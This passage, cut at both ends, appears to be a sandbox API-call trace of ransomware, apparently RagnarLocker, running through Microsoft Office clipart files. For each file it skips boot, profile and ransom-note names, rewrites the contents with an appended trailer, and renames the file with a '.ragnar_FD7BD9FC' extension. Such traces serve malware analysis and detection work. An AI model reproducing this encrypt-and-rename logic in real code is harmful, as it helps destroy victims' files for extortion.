Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.637] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309664.JPG" | out: lpString1="J0309664.JPG") returned="J0309664.JPG" [0087.637] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG") returned=".JPG" [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="autorun.inf") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="boot.ini") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="bootfont.bin") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="bootsect.bak") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="bootmgr") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="bootmgr.efi") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="bootmgfw.efi") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="desktop.ini") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="iconcache.db") returned 1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="ntldr") returned -1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="ntuser.dat") returned -1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="ntuser.dat.log") returned -1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="ntuser.ini") returned -1 [0087.637] lstrcmpiW (lpString1="J0309664.JPG", lpString2="thumbs.db") returned -1 [0087.637] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.637] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.637] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.637] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.637] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.637] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.637] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg")) returned 0x20 [0087.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.639] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=43707) returned 1 [0087.639] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaab2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.639] GetProcessHeap () returned 0x580000 [0087.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.639] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.640] VirtualAlloc (lpAddress=0x0, dwSize=0xaabb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.640] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.641] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaabb, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaabb, lpOverlapped=0x0) returned 1 [0087.642] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.642] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaabb, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.642] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaabb, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaabb, lpOverlapped=0x0) returned 1 [0087.643] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaabb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.643] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.643] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaabb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.643] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.643] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.643] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.643] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.643] GetProcessHeap () returned 0x580000 [0087.643] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.643] CloseHandle (hObject=0xf4) returned 1 [0087.644] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" [0087.644] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.ragnar_FD7BD9FC" [0087.644] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.644] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0087.644] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.644] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309705.JPG" | out: lpString1="J0309705.JPG") returned="J0309705.JPG" [0087.644] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG") returned=".JPG" [0087.644] lstrcmpiW (lpString1="J0309705.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.644] lstrcmpiW (lpString1="J0309705.JPG", lpString2="autorun.inf") returned 1 [0087.644] lstrcmpiW (lpString1="J0309705.JPG", lpString2="boot.ini") returned 1 [0087.644] lstrcmpiW (lpString1="J0309705.JPG", lpString2="bootfont.bin") returned 1 [0087.644] lstrcmpiW (lpString1="J0309705.JPG", lpString2="bootsect.bak") returned 1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="bootmgr") returned 1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="bootmgr.efi") returned 1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="bootmgfw.efi") returned 1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="desktop.ini") returned 1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="iconcache.db") returned 1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="ntldr") returned -1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="ntuser.dat") returned -1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="ntuser.dat.log") returned -1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="ntuser.ini") returned -1 [0087.645] lstrcmpiW (lpString1="J0309705.JPG", lpString2="thumbs.db") returned -1 [0087.645] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.645] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.645] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.645] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.645] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.645] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.645] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.645] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg")) returned 0x20 [0087.645] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.646] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19162) returned 1 [0087.646] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ad1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.646] GetProcessHeap () returned 0x580000 [0087.646] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.646] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.647] VirtualAlloc (lpAddress=0x0, dwSize=0x4ada, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.647] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.647] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4ada, lpOverlapped=0x0) returned 1 [0087.648] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.648] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ada, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.649] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4ada, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4ada, lpOverlapped=0x0) returned 1 [0087.649] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ada, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.649] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.649] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4ada, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.649] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.649] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.649] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.649] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.649] GetProcessHeap () returned 0x580000 [0087.649] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.649] CloseHandle (hObject=0xf4) returned 1 [0087.650] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" [0087.650] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.ragnar_FD7BD9FC" [0087.650] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.650] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1 [0087.650] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.650] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309902.WMF" | out: lpString1="J0309902.WMF") returned="J0309902.WMF" [0087.650] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF") returned=".WMF" [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="autorun.inf") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="boot.ini") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="bootfont.bin") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="bootsect.bak") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="bootmgr") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="bootmgr.efi") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="bootmgfw.efi") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="desktop.ini") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="iconcache.db") returned 1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="ntldr") returned -1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="ntuser.dat") returned -1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="ntuser.dat.log") returned -1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="ntuser.ini") returned -1 [0087.651] lstrcmpiW (lpString1="J0309902.WMF", lpString2="thumbs.db") returned -1 [0087.651] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.651] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.651] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.651] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.651] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.651] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.651] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf")) returned 0x20 [0087.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.652] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6656) returned 1 [0087.652] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.652] GetProcessHeap () returned 0x580000 [0087.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.652] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.653] VirtualAlloc (lpAddress=0x0, dwSize=0x1a00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.653] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.653] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a00, lpOverlapped=0x0) returned 1 [0087.656] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.657] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a00, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.657] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a00, lpOverlapped=0x0) returned 1 [0087.657] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.657] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.657] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.657] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.657] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.657] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.657] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.657] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.657] GetProcessHeap () returned 0x580000 [0087.657] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.657] CloseHandle (hObject=0xf4) returned 1 [0087.657] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" [0087.658] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.ragnar_FD7BD9FC" [0087.658] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.658] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1 [0087.658] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.658] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0309904.WMF" | out: lpString1="J0309904.WMF") returned="J0309904.WMF" [0087.658] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF") returned=".WMF" [0087.658] lstrcmpiW (lpString1="J0309904.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.658] lstrcmpiW (lpString1="J0309904.WMF", lpString2="autorun.inf") returned 1 [0087.658] lstrcmpiW (lpString1="J0309904.WMF", lpString2="boot.ini") returned 1 [0087.658] lstrcmpiW (lpString1="J0309904.WMF", lpString2="bootfont.bin") returned 1 [0087.658] lstrcmpiW (lpString1="J0309904.WMF", lpString2="bootsect.bak") returned 1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="bootmgr") returned 1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", lpString2="bootmgr.efi") returned 1 [0087.659] lstrcmpiW (lpString1="J0309904.WMF", 